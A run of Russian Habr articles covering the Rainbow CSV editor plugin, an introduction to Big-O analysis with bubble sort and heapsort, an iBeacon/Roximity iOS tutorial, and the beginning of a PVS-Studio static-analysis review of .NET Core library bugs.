По сравнению с этим способом, у Rainbow CSV есть как преимущества, так и недостатки:
#### Преимущества:
* What You See Is What You Get — можно быть уверенным в том, что то, что видно на экране — это реальное содержимое файла.
* Знакомое окружение любимого текстового редактора
* Zero-cost abstraction: Синтаксическая подсветка очень "дешева" с вычислительной точки зрения по сравнению с графическим выравниванием.
* Более высокая плотность информации: На один экран влезает больше данных — графическое выравнивание "съедает" много места за счет выравнивающих пробелов.
* Возможность визуально связать одну колонку (подсвеченную одним цветом) из разных окон
#### Недостатки:
* В стандартной реализации используется 10 разных цветов, поэтому когда число колонок больше 10, цвета начинают повторяться и эффективность цветового кодирования колонок снижается.
* Отсутствует поддержка переноса строк в ячейках, заэкранированных двойными кавычками. [Здесь](https://github.com/mechatroner/vscode_rainbow_csv/issues/4) можно почитать подробности этой проблемы. Впрочем, я считаю, что CSV с переносом строки внутри ячеек это крайне непрактичный формат.
### Сравнение с текстовым выравниванием
Еще один способ повысить читаемость CSV файлов, это выравнивание с помощью пробелов, но данный способ модифицирует содержимое файла, и поэтому его применимость весьма ограниченна.
Так же, на мой взгляд, читаемость файла после синтаксической Rainbow подсветки лучше, чем у файла, который был выравнен пробелами.
Немного о проекте
-----------------
Первая версия Rainbow CSV была написана 5 лет назад для Vim на основе плагина [rainbow\_parentheses](https://github.com/kien/rainbow_parentheses.vim) Как можно заметить, от этого проекта я позаимствовал не только часть кода, но и половину названия =)
Версии для VSCode, Atom, и Sublime Text 3 появились год назад.
Многие критически важные фичи и улучшения были предложены пользователями плагина.
Сравнение процесса разработки плагина для разных редакторов
-----------------------------------------------------------
В заключение могу провести небольшое сравнение API популярных текстовых редакторов.
API для плагинов у VSCode, Atom и Sublime Text 3 довольно похожи между собой, основное различие в том, что расширения для VS Code и Atom пишутся на JavaScript, а для Sublime Text 3 на Python.
Все 3 редактора используют один и тот же движок регулярных выражений для синтаксической подсветки, поэтому перенос Rainbow CSV между этими редакторами потребовал лишь минимальной адаптации регулярок.
В целом могу сказать, что самый приятный и удобный процесс разработки плагинов предоставляет VS Code. С другой стороны именно в нем по каким-то причинам изначально отсутствовала некоторая функциональность, необходимая для полноценной работы Rainbow CSV, но команда VS Code с радостью приняла и улучшила мой PR, который добавлял необходимый мне метод.
Написание плагинов для Vim очень сильно отличается от этих 3 более новых редакторов. В Vim используется свой собственный язык VimScript, а также разнообразные команды для манипуляции содержимым открытых файлов. Синтаксическая модель, которую Vim использует для подсветки, также довольно сильно отличается от того, что предоставляют VSCode, Atom и Sublime.
### Ссылки:
* [Rainbow CSV in VS Code](https://marketplace.visualstudio.com/items?itemName=mechatroner.rainbow-csv)
* [Rainbow CSV in Vim](https://github.com/mechatroner/rainbow_csv)
* [Rainbow CSV in Sublime Text 3](https://packagecontrol.io/packages/rainbow_csv)
* [Rainbow CSV in Atom](https://atom.io/packages/rainbow-csv)
* [Rainbow CSV in Gedit](https://github.com/mechatroner/gtk_gedit_rainbow_csv)
* [rbql.org](https://rbql.org) | https://habr.com/ru/post/429548/ | null | ru | null |
# Асимптотический анализ алгоритмов
Прежде чем приступать к обзору асимптотического анализа алгоритмов, хочу сказать пару слов о том, в каких случаях написанное здесь будет актуальным. Наверное многие программисты читая эти строки, думают про себя о том, что они всю жизнь прекрасно обходились без всего этого и конечно же в этих словах есть доля правды, но если встанет вопрос о доказательстве эффективности или наоборот неэффективности какого-либо кода, то без формального анализа уже не обойтись, а в серьезных проектах, такая потребность возникает регулярно.
В этой статье я попытаюсь простым и понятным языком объяснить, что же такое сложность алгоритмов и асимптотический анализ, а также возможности применения этого инструмента, для написания собственного эффективного кода. Конечно, в одном коротком посте не возможно охватить полностью такую обширную тему даже на поверхностном уровне, которого я стремился придерживаться, поэтому если то, что здесь написано вам понравится, я с удовольствием продолжу публикации на эту тему.
Итак приступим.
Во многих работах описывающих те или иные алгоритмы, часто можно встретить обозначения типа:
O(g(n)), Ω(g(n)), Θ(g(n)).
Давайте разбермся, что же это такое, но сначала я перечислю основные классы сложности применяемые при анализе:
f(n) = O(1) константа
f(n) = O(log(n)) логарифмический рост
f(n) = O(n) линейный рост
f(n) = O(n\*log(n)) квазилинейный рост
f(n) = O(n^m) полиномиальный рост
f(n) = O(2^n) экспоненциальный рост
Если раньше вы не встречались с подобными обозначениями, не переживайте, после прочтения этой статьи, все станет намного понятнее.
А начнем мы с символа **O**.
**O(g(n))**
Сначала приведу формальное определение:
**(1.1) Запись вида f(n) = O(g(n)) означает, что ф-ия f(n) возрастает медленнее чем ф-ия g(n) при с = с1 и n = N, где c1 и N могут быть сколь угодно большими числами, т.е. При c = c1 и n >= N, c\*g(n) >=f(n).**
Таким образом O – означает верхнее ограничение сложности алгоритма.
Давайте теперь попробуем применить это знание на практике.
Возьмем известную любому программисту задачу сортировки. Допустим нам необходимо отсортировать массив чисел, размерностью 10 000 000 элементов. Договоримся рассматривать худший случай, при котором для выполнения алгоритма понадобится наибольшее количество итераций. Не долго думая, мы решаем применять сортировку пузырьком как самую простую с точки зрения реализации.
Сортировка пузырьком позволяет отсортировать массив любой размерности без дополнительных выделений памяти. Вроде бы все прекрасно и мы с чистой совестью начинаем писать код (для примеров здесь и далее будет использоваться язык Python).
`def bubble_sort(arr):
. . for j in xrange(0, N - 1):
. . . . for i in xrange(0, N - 1):
. . . . . . if(arr[i] > arr[i+1]):
. . . . . . . . tmp = arr[i]
. . . . . . . . arr[i] = arr[i+1]
. . . . . . . . arr[i+1] = tmp`
Я намерено не ввожу проверку на наличие хотябы одного обмена (которая кстати не сказывается на O — сложности алгоритма), ради упрощения понимания сути.
Взглянув на код, сразу же обращаем внимание на вложеный цикл. О чем нам это говорит? Я надеюсь, что читатель знаком с основами программирования на любом языке (кроме функциональных, в которых циклы отсутствуют как таковые, а повторения реализуются рекурсией) и наглядно представляет себе, что такое вложеные циклы и как они работают. В данном примере, внешний цикл выполняется ровно n = 10 000 000 (т.к. наш массив состоит из 10 000 000 элементов) и столько же раз выполняется внутренний цикл, из этого очевидно следует, что общее кол-во итераций будет порядка n^2. Т.е. кол-во итераций зависит от размерности входных данных как ф-ия от n^2. Теперь, зная сложность алгоритма, мы можем проверить, насколько хорошо он будет работать в нашем случае. Подставив цифры в формулу n^2 получаем ответ 10 000 000 \* 10 000 000 = 10 000 000 000 0000 итераций.
Хммм, впечатляет… В цикле у нас 3 комманды, предположим, что на выполнение каждой из них требуется 5 единиц времени (с1 = 5), тогда общее кол-во времени затраченного на сортировку нашего массива будет равно 5\*f(n^2) (синяя кривая на рис.1).
рис.1.
зеленая кривая соответствует графику ф-ии x^2 при c = 1, синия c = 5, красная c = 7
Здесь и далее на всех графиках ось абсцисс будет соответствовать размерности входных данных, а ось ординат кол-ву итераций необходимых для выполнения алгоритма.
Нас интересует только та часть координатной плоскости, которая соответствует значениям x большим 0, т.к. любой массив, по-определению, не может иметь отрицательный размер, поэтому, для удобства, уберем левые части графиков ф-ий, ограничившись лишь первой четвертью координатной плоскости.
рис.2.
зеленая кривая соответствует графику ф-ии x^2 при c = 1, синия c = 5, красная c = 7
Возьмем c2 = 7. Мы видим, что новая ф-ия растет быстрее предыдущей (красная кривая на рис.2). Из определения (1.1), делаем вывод, что при с2 = 7 и n >= 0, g(n) = 7\*n^2 всегда больше или равна ф-ии f(n) = 5\*n^2, следовательно наша программа имет сложность O(n^2).
Кто не до конца понял это объяснение, посмотрите на графики ф-ий и заметьте, что ф-ия отмеченная на нем красным, при n >= 0 всегда имеет большее значение по y, чем ф-ия отмеченная синим.
Теперь подумаем, хорошо ли это или плохо в нашем случае и можем ли мы заставить алгоритм работать эффективнее?
Как можно понять из графиков, приведенных на рис. 2, квадратичная ф-ия возрастает довольно быстро и при большом объеме входных данных, сортировка массива таким способом, может занять довольно длительное время, причем увеличение мощности процессора, будет сказываться лишь на коэффициенте c1, но сам алгоритм, по-прежнему будет принадлежать к классу алгоритмов с полиномиальной функцией роста O(n^2) (тут мы опять же используем определение (1.1) и подбираем такие c2 и N при которых с2\*n^2 будет возрастать быстрее чем наша ф-ия c1\*n^2 начиная с некоторого n >= N) и если в ближайшем будущем изобретут процессор, который будет сортировать наш массив всего за пару секунд, то при немного большем объеме входных данных, этот прирост в производительности будет полностью нивелирован кол-вом необходимых вычислений.
Таким же временным средством является решение реализовать алгоритм на низкоуровневом языке (например ассемблере), так как все, что мы сможем сделать – это, опять же, лишь немного уменьшить коэффициент c1 при этом все-равно оставаясь в классе сложности O(n^2).
А что будет, если вместо одноядерного процессора, мы будем использовать 4-х ядерный? На самом деле, результат изменится не сильно.
Разобьем наш массив на 4 части и каждую часть поручим выполнять отдельному ядру. Что мы получим? На сортировку каждой части понадобится ровно O((n / 4)^2). Так как все части сортируются одновременно, то этот результат и будет конечным временем сортировки четырех подмассивов, размерностью n/4. Возведем получившееся выражение в квадрат, получив таким образом сложность равную O(1/16\*n^2 + n), где n — итерации необходимые на сортировку итогового массива полученного конкатенацией четырех готовых подмассивов.
Поскольку анализ у нас асимптотический, то при достаточно больших n, ф-ия n^2 будет вносить гораздо больший вклад в итоговый результат, чем n и поэтому мы спокойно можем им пренебречь, как наиболее медленно возрастающем членом, также за малозначимостью принебрегаем коэффициентом 1/16 (см. (1.1)), что в итоге дает нам все тоже O(n^2).
Мы приходим к неутишительному выводу о том, что увеличением числа процессоров, равно как и повышение их частоты, не дают существенного прироста при данном алгоритме сортировки.
Что же можно сделать в этой ситуации, чтобы радикально ускорить сортировку? Необходимо, чтобы в худшем случае сложность алгоритма была меньше чем O(n^2). Поразмыслив немного, мы решаем, что не плохо бы было, придумать такой алгоритм, сложность которого не превышает O(n), т.е. является линейной. Очевидно, что в случае O(n) скорость работы программы возрастет в N раз, так как вместо N^2 итераций, нам необходимо будет сделать всего лишь N. Прогнозируемый прирост скорости отлично виден на рис.3.
Серой прямой обозначена линейная сложность, а три кривых показывают сложность n^2 при различных коэффициентах c.
Но оказывается, что сделать сортировку со сложностью O(n) в общем случае просто не возможно ([док-во](http://www.cs.colorado.edu/~karl/2270.fall03/sorting.html))! Так на какую же сложность мы в лучшем случае можем расчитывать? Она равна O(n\*log(n)), что является теоретически доказаным минимальным верхнем пределом для любого алгоритма сортировки основанного на сравнении элементов. Это конечно немного не то, чего мы ожидали получить, но все же это уже и не O(n^2). Осталось найти алгоритм сортировки удовлетворяющий нашим требованиям.
Покопавшись в интернете, видим, что им удовлетворяет «пирамидальная сортировка». Я не буду вдаваться в подробности алгоритма, желающие могут прочитать о нем самостоятельно на [wiki](http://ru.wikipedia.org/wiki/Пирамидальная_сортировка), скажу только, что его сложность принадлежит классу O(n\*log(n)) (т.е. максимально возможная производительность для сортировки), но при этом, он довольно труден в реализации.
Посмотрим на графики ниже и сравним скорости возрастания кол-ва вычислений для двух рассмотренных алгоритмов сортировки.
рис.4.
Фиолетовая кривая показывает алгоритм со сложностью n\*log(n). Видно, что на больших n, пирамидальная сортировка существенно выигрывает у сортировки пузырьком при любом из трех опробованных нами коэффициентах, однако все-равно уступает гипотетической сортировке линейной сложности (серая прямая на графике).
В любом случае, даже на медленном компьютере она будет работать гораздо быстрее, чем «пузырек» на быстром.
Остается открытым вопрос, целесообразно ли всегда предпочитать пирамидальную сортировку сортировке пузырьком?
рис.5.
Как видно на рис.5, при малых n, различия между двумя алгоритмами достаточно малы и выгода от использования пирамидальной сортировки — совсем незначительна, а учитывая, что «пузырек» реализуется буквально 5-6 строчками кода, то при малых n, он действительно является более предпочтительным с точки зрения умственных и временных затрат на реализацию :)
В заключении, чтобы более наглядно продемонстрировать разницу между классами сложности, приведу такой пример:
Допустим у нас етсь ЭВМ 45-ти летней давности. В голове сразу всплывают мысли о больших шкафах, занимающих довольно-таки обширную площадь. Допустим, что каждая команда на такой машине выполняется примерно за 10 миллисек. С такой скоростью вычислений, имея алгоритм сложности O(n^2), на решение поставленой задачи уйдет оооочень много времени и от затеи придется отказаться как от невыполнимой за допустимое время, если же взять алгоритм со сложностью O(n\*log(n)), то ситуация в корне изменится и на расчет уйдет не больше месяца.
Посчитаем, сколько именно займет сортировка массива в обоих случаях
**сверх-неоптимальный алгоритм (бывает и такое, но редко):**
O(2^n) = оооооочень медленно, вселенная умрет, прежде чем мы закончим наш расчет…
**пузырек:**
O(n^2) = 277777778 часов (классический “пузырек”)
**пирамидальная сортировка:**
O(n\*log(n)) = 647 часов (то чего мы реально можем добиться, применяя пирамидальную сортировку)
**фантастически-эффективный алгоритм:**
O(n) = 2.7 часов (наш гипотетический алгоритм, сортирующий за линейное время)
**и наконец:**
O(log(n)) = оооооочень быстро, жаль, что чудес не бывает…
Два последних случая (хоть они и не возможны в реальности при сортировке данных) я привел лишь для того, чтобы читатель ощутил огромную разницу между алгоритмами различных классов сложности.
На последок хочу заметить, что буквой O обычно обозначают минимальный из классов сложности, которому соответствует данный алгоритм. К примеру, я мог бы сказать, что сложность сортировки пузырьком равна O(2^n) и теоретически это было бы абсолютно верным утверждением, однако на практике такая оценка была бы лишена смысла. | https://habr.com/ru/post/78728/ | null | ru | null |
# iBeacon: Руководство к действию
> iBeacon является новой технологией, которая построена на основе Bluetooth Low Energy или BLE. Пока iBeacon более всего ассоциируется с Apple. Начиная с 2013 года iBeacon встроена в Apple iOS 7. Впервые пилотный проект был запущен в магазинах Apple в декабре 2013 года и в 2014 году ожидается существенное расширение использования технологии *— via [Wi-Life](http://www.wi-life.ru/stati/wi-fi/marketingovye-stati-2/what-is-ibeacon-from-apple)*
Добрый день, дорогой Хабрахабр!
Сегодня мы познакомимся с реализацией функционала BLE под iOS на основе iBeacon-девайсов от [Roximity](http://roximity.com). Поискал, поспрашивал, пошерстил, вроде как, никто так и не писал о практической стороне вопроса в рунете. Статью делю на две части: про настройку на серверах Roximity и про подкапотную приложений.
Заинтересовавшихся прошу под кат.
#### Магия на стороне Roximity
После покупки беконов вам выдают «Merchant Login». Я приобрел три бекона; вот так выглядит первая страничка админки беконов:
Перед тем, как идти дальше, стоит отметить, что:
* Каждому бекону можно назначить неограниченное количество тегов
* Нескольким беконам можно назначить одинаковые теги
* Можно создать сообщения, которые будут выскакивать по определенному действию (вход в зону покрытия, выход из нее, непосредственная близость)
* Сообщения можно назначить определенным тегам
* Если сообщение назначено тегу, который принадлежит нескольким беконам, то эти беконы работают как один большой бекон
Форма создания сообщения выглядит следующим образом:
Рядом расположена памятка о примерных радиусах срабатывания брелоков. Каждому сообщению можно назначить:
* Имя сообщения, которое не светится нигде, кроме этой админки
* Действие, по которому сообщение срабатывает
* Само сообщение, которое увидит пользователь
* Частоту появления
* Теги беконов, относящихся к сообщению
* Дату окончания работы сообщения
Когда сообщения настроены, мы качаем SDK, внедряем их в приложение, и переходим к следующей часте статьи. SDK довольно молодой и обновляется со стабильной частотой.
#### Магия на нашей стороне
Интересно, что беконы работают не только, когда приложение активно, но и в фоновом, и даже закрытом состоянии! То есть, если у вас установлено приложение с Roximity SDK, то каждый раз при появлении **ваших** беконов в видимости телефона, на 30 секунд будет открываться ваше приложение с вызовом соответствующих методов из оперы Background Fetch.
После правильной установки Roximity SDK, сервера Roximity абсолютно все сделают за вас. Единственное, что нам нужно будет сделать (если вообще нужно будет), это подписаться на *ROX\_NOTIF\_MESSAGE\_FIRED*:
```
[[NSNotificationCenter defaultCenter] addObserver:sharedManager
selector:@selector(handleNotification:)
name:ROX_NOTIF_MESSAGE_FIRED
object:nil];
```
Примерный метод handleNotification: может выглядеть так:
```
- (void)handleNotification:(NSNotification *)rawNotification
{
NSDictionary *notification = rawNotification.userInfo;
NSString *beaconId = notification[@"com.roximity.notif"][@"com.roximity.notification.trigger"][@"beaconId"];
NSString *event = notification[@"com.roximity.notif"][@"com.roximity.notification.trigger"][@"event"];
NSString *name = notification[@"com.roximity.notif"][@"com.roximity.notification.trigger"][@"name"];
NSLog(@"Beacon event: %@ - %@ - %@", event, beaconId, name);
}
```
Извиняюсь за магические строки, к сожалению, я потерял памятку о соответствующих дефинициях. Напоминаю, что handleNotification: будет вызываться даже если ваше приложение было полностью закрыто!
#### Заключение
Вот и все! Пользуйтесь беконами на здоровье и никогда не бойтесь окунаться в новые технологии.
Если вы нашли какие-либо неточности или опечатки в статье, обязательно напишите в мой хабрацентр.
Готов ответить на все ваши вопросы! | https://habr.com/ru/post/226037/ | null | ru | null |
# Проверка исходного кода библиотек .NET Core статическим анализатором PVS-Studio
Библиотеки .NET Core — один из самых популярных C# проектов на GitHub. Неудивительно, с учётом его широкой известности и используемости. Тем интереснее попробовать выяснить, какие тёмные уголки можно найти в исходном коде этих библиотек, что мы и попробуем сделать с помощью статического анализатора PVS-Studio. Как думаете, удалось ли в итоге обнаружить что-нибудь интересное?
К этой статье я шёл более полутора лет. В какой-то момент в моей голове поселилась мысль, что библиотеки .NET Core — лакомый кусочек, и их проверка будет интересной. Несколько раз я проверял проект, анализатор находил всё новые и новые интересные места, но дальше беглого пролистывания списка предупреждений дело не шло. И вот оно — свершилось! Проект проверен, статья — перед вами.
Подробнее про проект и анализ
-----------------------------
Если вы жаждете с головой окунуться в разбор кода — этот раздел можно пропустить, но мне крайне хотелось бы, чтобы вы его прочитали — здесь я чуть больше рассказываю о проекте и анализаторе, а также немного о том, как проводил анализ и воспроизводил ошибки.
### Проверяемый проект
Наверное, можно было бы и не рассказывать, что такое CoreFX (библиотеки .NET Core), но, если вдруг вы не слышали, описание ниже. Я не стал его перефразировать и взял [со страницы проекта на GitHub](https://github.com/dotnet/corefx), где также можно и загрузить исходники.
Описание: *This repo contains the library implementation (called «CoreFX») for .NET Core. It includes System.Collections, System.IO, System.Xml, and many other components. The corresponding .NET Core Runtime repo (called «CoreCLR») contains the runtime implementation for .NET Core. It includes RyuJIT, the .NET GC, and many other components. Runtime-specific library code (System.Private.CoreLib) lives in the CoreCLR repo. It needs to be built and versioned in tandem with the runtime. The rest of CoreFX is agnostic of runtime-implementation and can be run on any compatible .NET runtime (e.g. CoreRT)*.
### Используемый анализатор и способ анализа
Проверял исходный код я с помощью [статического анализатора PVS-Studio](https://www.viva64.com/ru/pvs-studio-download/). Вообще PVS-Studio умеет анализировать не только C# код, но и C, C++, Java. Анализ C# кода пока работает только под Windows, в то время как код на C, C++, Java вы можете анализировать под Windows, Linux, macOS.
Обычно для проверки C# проектов я использую плагин PVS-Studio для Visual Studio (поддерживаются версии 2010-2019), так как это, наверное, наиболее простой и удобный способ анализа: открыть solution, запустить анализ, работать со списком предупреждений. С CoreFX, однако, вышло чуть сложнее.
Дело в том, что у проекта нет единого .sln файла, следовательно, открыть его в Visual Studio и провести полный анализ, используя плагин PVS-Studio, не получится. Наверное, оно и хорошо — не очень представляю, как Visual Studio справилась бы с solution такого размера.
Впрочем, никаких проблем с анализом не возникло, так как в состав дистрибутива PVS-Studio входит command line версия анализатора для MSBuild проектов (и, собственно, .sln). Всё, что потребовалось от меня — написать небольшой скрипт, который бы запускал «PVS-Studio\_Cmd.exe» на каждый .sln в директории CoreFX и складывал результаты анализа в отдельную директорию (указывается флагом запуска анализатора).
Вуаля! — на выходе имею набор логов, в которых много интересного. При желании логи можно было бы объединить с помощью утилиты PlogConverter, идущей в составе дистрибутива. Но мне было удобнее работать с отдельными логами, поэтому объединять их я не стал.
При описании некоторых ошибок я ссылаюсь на документацию с docs.microsoft.com и на NuGet пакеты, доступные для загрузки с nuget.org. Допускаю, что код, описанный в документации / находящийся в пакетах, может несколько отличаться от проанализированного. Тем не менее, будет очень странно, если, например, в документации нет описания генерируемых исключений при ряде входных данных, а в новой версии пакета они появятся — согласитесь, это будет сомнительный сюрприз. Воспроизведение ошибок в пакетах из NuGet на тех же входных данных, что использовались для отладочных библиотек, показывает то, что проблема — не новая, и, что более важно, что её можно 'пощупать', не собирая проект из исходников.
Таким образом, допуская вероятность некоторой теоретической рассинхронизации кода, я нахожу допустимым обращаться к описанию соответствующих методов на docs.microsoft.com и к воспроизведению проблем на пакетах из nuget.org.
Также замечу, что описание по приводимым ссылкам, а также информация (комментарии) в пакетах (в других версиях) могли измениться в ходе написания статьи.
### Другие проверенные проекты
Кстати, это ведь не уникальная в своём роде статья — мы пишем и другие статьи о проверке проектов, список которых [можно найти здесь](https://www.viva64.com/ru/inspections/). Более того, на сайте у нас собраны не только статьи об анализе проектов, но и различные технические статьи по C, C++, C#, Java, а также просто интересные заметки. Найти всё это можно в [блоге](https://www.viva64.com/ru/b).
Мой коллега ранее уже проверял библиотеки .NET Core в 2015 году. Результаты предыдущего анализа можно найти в соответствующей статье: "[Новогодняя проверка .NET Core Libraries (CoreFX)](https://www.viva64.com/ru/b/0365/)".
Обнаруженные ошибки, подозрительные и интересные места
------------------------------------------------------
Как и всегда, для большего интереса предлагаю сначала самостоятельно искать ошибки в приведённых фрагментах, а лишь затем читать предупреждение анализатора и описание проблемы.
Для удобства я явно оделил рассматриваемые фрагменты друг от друга с использованием меток вида **Issue N** — так легче понять, где заканчивается описание одной ошибки и начинается разбор другой. Да и ссылаться на конкретные фрагменты так тоже проще.
**Issue 1**
```
abstract public class Principal : IDisposable
{
....
public void Save(PrincipalContext context)
{
....
if ( context.ContextType == ContextType.Machine
|| _ctx.ContextType == ContextType.Machine)
{
throw new InvalidOperationException(
SR.SaveToNotSupportedAgainstMachineStore);
}
if (context == null)
{
Debug.Assert(this.unpersisted == true);
throw new InvalidOperationException(SR.NullArguments);
}
....
}
....
}
```
**Предупреждение PVS-Studio**: [V3095](https://www.viva64.com/ru/w/v3095/) The 'context' object was used before it was verified against null. Check lines: 340, 346. Principal.cs 340
Разработчики явно обозначают, что значение *null* для параметра *context* является недопустимым, и хотят подчеркнуть это при помощи исключения типа *InvalidOperationException*. Однако чуть выше, в предыдущем условии, происходит безусловное разыменование ссылки *context* — *context.ContextType*. В итоге, если значение *context* — *null*, вместо ожидаемого *InvalidOperationExcetion* будет сгенерировано исключение типа *NullReferenceException*.
Попробуем воспроизвести проблему. Подключим соответствующую библиотеку (*System.DirectoryServices.AccountManagement*) в проект и исполняем следующий код:
```
GroupPrincipal groupPrincipal
= new GroupPrincipal(new PrincipalContext(ContextType.Machine));
groupPrincipal.Save(null);
```
*GroupPrincipal* — наследник абстрактного класса *Principal*, который и содержит реализацию нужного нам метода *Save*. Запускаем код на исполнение и видим то, что и требовалось доказать.
Ради интереса можно попробовать загрузить соответствующий пакет из NuGet и попробовать повторить проблему таким же образом. Я поставил пакет версии 4.5.0 и получил ожидаемый результат.
**Issue 2**
```
private SearchResultCollection FindAll(bool findMoreThanOne)
{
searchResult = null;
DirectoryEntry clonedRoot = null;
if (_assertDefaultNamingContext == null)
{
clonedRoot = SearchRoot.CloneBrowsable();
}
else
{
clonedRoot = SearchRoot.CloneBrowsable();
}
....
}
```
**Предупреждение PVS-Studio**: [V3004](https://www.viva64.com/ru/w/v3004/) The 'then' statement is equivalent to the 'else' statement. DirectorySearcher.cs 629
Вне зависимости от истинности условия *\_assertDefaultNamingContext == null* будут выполнены одни и те же действия, так как *then* и *else* ветви оператора *if* имеют одинаковые тела. Либо в какой-то ветви должно быть другое действие, либо можно опустить оператор *if*, чтобы не смущать программистов и анализатор.
**Issue 3**
```
public class DirectoryEntry : Component
{
....
public void RefreshCache(string[] propertyNames)
{
....
object[] names = new object[propertyNames.Length];
for (int i = 0; i < propertyNames.Length; i++)
names[i] = propertyNames[i];
....
if (_propertyCollection != null && propertyNames != null)
....
....
}
....
}
```
**Предупреждение PVS-Studio**: [V3095](https://www.viva64.com/ru/w/v3095/) The 'propertyNames' object was used before it was verified against null. Check lines: 990, 1004. DirectoryEntry.cs 990
Опять видим странный порядок действий. В методе есть проверка *propertyNames != null*, т.е. разработчики страхуют себя от того, что в метод придёт значение *null*. Вот только выше можно наблюдать несколько операций обращения по этой потенциально нулевой ссылке — *propertyNames.Length* и *propertyNames[i]*. Результат вполне предсказуем — возникновение исключения типа *NullReferenceException* в случае, если в метод передаётся нулевая ссылка.
Какое совпадение, что *RefreshCache* — публичный метод в публичном классе. Попробуем повторить проблему? Для этого подключим к проекту нужную библиотеку — *System.DirectoryServices* — и напишем код следующего вида:
```
DirectoryEntry de = new DirectoryEntry();
de.RefreshCache(null);
```
Запускаем код на исполнение и видим ожидаемую картину.
Ради интереса можно попробовать воспроизвести проблему на релизной версии NuGet пакета. Подключаем к проекту NuGet пакет *System.DirectoryServices* (я использовал версию 4.5.0) и запускаем уже знакомый код на исполнение. Результат — ниже.
**Issue 4**
Сейчас мы пойдём от обратного — сначала попробуем написать код, который использует экземпляр класса, а затем заглянем внутрь. Обратимся к структуре *System.Drawing.CharacterRange* из библиотеки *System.Drawing.Common* и одноимённого NuGet пакета.
Используемый код будет следующим:
```
CharacterRange range = new CharacterRange();
bool eq = range.Equals(null);
Console.WriteLine(eq);
```
На всякий случай, чтобы освежить память, обратимся к [docs.microsoft.com](https://docs.microsoft.com/en-us/dotnet/api/system.object.equals?view=netcore-3.0), чтобы вспомнить, какое возвращаемое значение ожидается от выражения *obj.Equals(null)*:
*The following statements must be true for all implementations of the [*Equals(Object)*](https://docs.microsoft.com/en-us/dotnet/api/system.object.equals?view=netframework-4.8#System_Object_Equals_System_Object_) method. In the list, x, y, and z represent object references that are not null.*
*....*
***x.Equals(null) returns false.***
Как вы думаете, будет ли в консоль выведен текст «False»? Конечно, нет, это было бы слишком просто. :) Исполняем код и смотрим на результат.
Это был вывод при исполнении указанного выше кода с использованием NuGet пакета *System.Drawing.Common* версии 4.5.1. Запускаем тот же код с отладочной версией библиотеки и видим следующее:
Теперь посмотрим на исходный код — реализацию метода *Equals* в структуре *CharacterRange* и предупреждение анализатора:
```
public override bool Equals(object obj)
{
if (obj.GetType() != typeof(CharacterRange))
return false;
CharacterRange cr = (CharacterRange)obj;
return ((_first == cr.First) && (_length == cr.Length));
}
```
**Предупреждение PVS-Studio**: [V3115](https://www.viva64.com/ru/w/v3115/) Passing 'null' to 'Equals' method should not result in 'NullReferenceException'. CharacterRange.cs 56
Видим то, что и требовалось доказать — неаккуратно обрабатывается параметр *obj*, из-за чего в условном выражении при вызове экземплярного метода *GetType* происходит возникновение исключения типа *NullReferenceException*.
**Issue 5**
Пока исследуем эту библиотеку, рассмотрим ещё одно интересное место — метод *Icon.Save*. Перед исследованием посмотрим описание метода.
Описания к методу нет:
Обратимся к docs.microsoft.com — "[Icon.Save(Stream) Method](https://docs.microsoft.com/en-us/dotnet/api/system.drawing.icon.save?view=netcore-3.0)". Там, впрочем, тоже никаких ограничений на входные значения и информации о генерируемых исключениях нет.
Теперь переходим к исследованию кода.
```
public sealed partial class Icon :
MarshalByRefObject, ICloneable, IDisposable, ISerializable
{
....
public void Save(Stream outputStream)
{
if (_iconData != null)
{
outputStream.Write(_iconData, 0, _iconData.Length);
}
else
{
....
if (outputStream == null)
throw new ArgumentNullException("dataStream");
....
}
}
....
}
```
**Предупреждение PVS-Studio**: [V3095](https://www.viva64.com/ru/w/v3095/) The 'outputStream' object was used before it was verified against null. Check lines: 654, 672. Icon.Windows.cs 654
Опять уже известная нам история — возможное разыменование нулевой ссылки, так как параметр метода разыменовывается без проверки на *null*. Вновь удачное стечение обстоятельств — и класс, и метод — публичные, значит, можно попробовать воспроизвести проблему.
Задача проста — довести исполнение кода до выражения *outputStream.Write(\_iconData, 0, \_iconData.Length);*, сохранив при этом значение переменной *outputStream* — *null*. Для этого достаточно, чтобы выполнилось условие *\_iconData != null*.
Посмотрим на самый простой публичный конструктор:
```
public Icon(string fileName) : this(fileName, 0, 0)
{ }
```
Он просто делегирует работу другому конструктору. Хорошо, смотрим дальше — используемый здесь конструктор.
```
public Icon(string fileName, int width, int height) : this()
{
using (FileStream f
= new FileStream(fileName, FileMode.Open,
FileAccess.Read, FileShare.Read))
{
Debug.Assert(f != null,
"File.OpenRead returned null instead of throwing an exception");
_iconData = new byte[(int)f.Length];
f.Read(_iconData, 0, _iconData.Length);
}
Initialize(width, height);
}
```
Вот оно, то, что нужно. После вызова этого конструктора, если мы успешно считываем данные из файла и, если никаких падений в методе *Initialize* не происходит, поле *\_iconData* будет содержать ссылку на какой-то объект, что нам и нужно.
Выходит, для воспроизведения проблемы нужно создать экземпляр класса *Icon* с указанием фактической иконки, после чего вызвать метод *Save*, передав в качестве аргумента значение *null*, что мы и сделаем. Код может выглядеть, например, следующим образом:
```
Icon icon = new Icon(@"D:\document.ico");
icon.Save(null);
```
Результат исполнения ожидаемый.
**Issue 6**
Продолжаем обзор и переходим к библиотеке *System.Management*. Попробуйте найти 3 отличия между действиями, выполняемыми в *case* *CimType.UInt32* и остальными *case*.
```
private static string
ConvertToNumericValueAndAddToArray(....)
{
string retFunctionName = string.Empty;
enumType = string.Empty;
switch(cimType)
{
case CimType.UInt8:
case CimType.SInt8:
case CimType.SInt16:
case CimType.UInt16:
case CimType.SInt32:
arrayToAdd.Add(System.Convert.ToInt32(
numericValue,
(IFormatProvider)CultureInfo.InvariantCulture
.GetFormat(typeof(int))));
retFunctionName = "ToInt32";
enumType = "System.Int32";
break;
case CimType.UInt32:
arrayToAdd.Add(System.Convert.ToInt32(
numericValue,
(IFormatProvider)CultureInfo.InvariantCulture
.GetFormat(typeof(int))));
retFunctionName = "ToInt32";
enumType = "System.Int32";
break;
}
return retFunctionName;
}
```
Конечно, никаких отличий нет, о чём и предупреждает анализатор.
**Предупреждение PVS-Studio**: [V3139](https://www.viva64.com/ru/w/v3139/) Two or more case-branches perform the same actions. WMIGenerator.cs 5220
Такой стиль кода лично мне не очень понятен. Если здесь нет ошибки, думаю, не стоило разносить одну и ту же логику по разным кейсам.
**Issue 7**
Библиотека *Microsoft.CSharp*.
```
private static IList>
QueryDynamicObject(object obj)
{
....
List names = new List(mo.GetDynamicMemberNames());
names.Sort();
if (names != null)
{ .... }
....
}
```
